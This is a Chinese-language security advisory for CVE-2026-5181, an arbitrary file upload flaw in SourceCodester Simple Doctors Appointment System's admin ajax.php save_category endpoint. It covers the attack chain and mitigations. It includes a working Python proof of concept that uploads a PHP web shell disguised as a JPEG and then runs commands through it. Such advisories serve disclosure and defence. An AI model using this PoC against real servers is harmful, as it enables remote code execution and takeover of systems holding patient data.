IPBUF安全漏洞报告
English
CVE-2026-5181 CVSS 6.3 中危

CVE-2026-5181 SourceCodester医生预约系统文件上传漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-5181
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Simple Doctors Appointment System

相关标签

任意文件上传SourceCodesterRCEWeb安全

漏洞概述

SourceCodester Simple Doctors Appointment System 1.0及之前版本存在任意文件上传漏洞。受影响文件为/doctors_appointment/admin/ajax.php,由于对action=save_category接口的img参数缺乏有效验证,导致远程攻击者可上传恶意文件。该漏洞利用需低权限且无需用户交互,对系统安全构成威胁。

技术细节

该漏洞源于SourceCodester Simple Doctors Appointment System在处理分类保存功能时,对用户输入的文件数据缺乏严格的安全校验。具体来说,在/doctors_appointment/admin/ajax.php脚本的action=save_category模块中,程序直接处理了POST请求中的img参数,而未对上传文件的MIME类型、文件扩展名或文件内容进行有效的过滤和检查。这使得经过身份验证的攻击者(低权限用户)能够通过构造特定的HTTP请求,将包含恶意代码的PHP脚本或其他可执行文件上传到Web服务器。一旦文件上传成功,攻击者即可通过浏览器直接访问该文件,导致在服务器端执行任意代码,进而完全控制受影响的系统。

攻击链分析

STEP 1
侦察与访问
攻击者发现目标运行SourceCodester Simple Doctors Appointment System,并获取低权限账户(如普通管理员账户)。
STEP 2
构造恶意请求
攻击者构造针对/doctors_appointment/admin/ajax.php?action=save_category的HTTP POST请求,并在img参数中包含伪装成图片的恶意PHP文件。
STEP 3
上传恶意文件
发送请求,服务器由于缺乏验证,将恶意文件保存到Web目录下。
STEP 4
执行恶意代码
攻击者通过浏览器访问上传的PHP文件路径,触发代码执行,获取服务器权限。
STEP 5
维持控制
攻击者利用Webshell进行后续操作,如安装后门、窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://target.com/doctors_appointment/admin/ajax.php?action=save_category" shell_filename = "evil_shell.php" # Attacker's payload (PHP code) payload_content = "<?php system($_GET['cmd']); ?>" # Prepare the multipart form data # The vulnerability is in the 'img' parameter files = { 'img': (shell_filename, payload_content, 'image/jpeg') } # Additional data that might be required by the form data = { 'category': 'TestCategory' } # Send the POST request try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Check the upload directory to locate the shell.") print(f"[+] Try accessing: http://target.com/doctors_appointment/uploads/{shell_filename}?cmd=whoami") else: print("[-] Upload failed. Status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

SourceCodester Simple Doctors Appointment System <= 1.0

防御指南

临时缓解措施
建议立即升级官方发布的最新补丁。若无法升级,应严格限制/admin目录的访问权限,并在服务器层面(如Nginx/Apache配置)禁止上传目录执行PHP脚本。同时,对用户上传的文件进行重命名并检查文件头以防止绕过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表